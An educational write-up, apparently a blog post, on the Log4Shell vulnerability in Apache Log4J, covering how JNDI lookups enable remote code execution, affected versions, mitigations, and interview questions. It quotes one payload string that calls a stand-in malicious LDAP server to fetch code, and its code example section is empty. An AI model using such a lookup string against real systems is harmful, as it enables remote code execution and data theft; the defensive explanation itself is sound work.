Log4J Vulnerability (CVE-2021-44228)
Log4J is a widely used Java-based logging utility that is part of the Apache Logging Services. It allows developers to log various levels of information, which can be essential for debugging.
What Happened?
A critical vulnerability, known as CVE-2021-44228 or "Log4Shell," was discovered in Log4J. This vulnerability allows for remote code execution (RCE), meaning an attacker can execute arbitrary code on a server running a vulnerable version of Log4J. The vulnerability stems from Log4J’s handling of log messages. When logging certain strings, the library can execute arbitrary code fetched from remote servers.
How Did the Exploit Occur?
Despite Log4J being an open-source project with community oversight, the exploit was possible due to a feature within the library that allowed for dynamic lookups in log messages. This feature could be manipulated to execute remote code.
Exploit Process
Discovery and Announcement: Security researchers discovered that when a specially crafted string is logged, Log4J can make a JNDI (Java Naming and Directory Interface) lookup to a remote LDAP server, which can return a reference to a malicious Java object.
Injection of Malicious Payload: Attackers crafted log messages with malicious JNDI lookup strings (e.g.,
${jndi:ldap://malicious.server/exploit}
), which were logged by applications using Log4J.Remote Code Execution: The malicious Java object is deserialized and executed, allowing the attacker to run arbitrary code on the affected system.
Code Example
Here is an example of a vulnerable logging statement:
In this example, the log message includes user input that contains a JNDI lookup string. When logged, Log4J processes the JNDI lookup, potentially loading and executing malicious code from the specified server.
What Systems Does It Affect?
This vulnerability impacts any system using a vulnerable version of Log4J (versions 2.0 to 2.14.1). Due to Log4J's widespread use, the impact spans across various industries and includes applications running on cloud environments, enterprise software, and web services.
What Does the Payload Do?
The payload delivered through this exploit allows an attacker to:
Execute arbitrary commands on the server.
Download and install additional malicious software.
Exfiltrate sensitive data.
Potentially create a persistent backdoor for ongoing access.
Mitigation Steps
1. Update Log4J:
Upgrade to the latest version of Log4J (2.15.0 or later), where the JNDI lookup functionality has been disabled by default.
mvn dependency:tree | grep log4j mvn dependency:resolve -DincludeScope=runtime -Dincludes=org.apache.logging.log4j:log4j-core
Disable JNDI Lookups:
In the event you can't update immediately, you can mitigate the risk by setting the
log4j2.formatMsgNoLookups
system property totrue
.
System.setProperty("log4j2.formatMsgNoLookups", "true");
Remove JndiLookup class:
Another temporary mitigation is to remove the
JndiLookup
class from the log4j-core jar file.
Interview Questions
1. What are some proactive measures that organizations can take to reduce the risk of similar vulnerabilities in the future?
2. How can organizations effectively balance the need for rapid feature development with the imperative of thorough security testing and code review?
3. If you were responsible for responding to an incident like CVE-2021-44228, what immediate steps would you take to mitigate the threat? Cheers Guys, Hope yall enjoyed this sharing!
References: https://nvd.nist.gov/vuln/detail/CVE-2021-44228
Last updated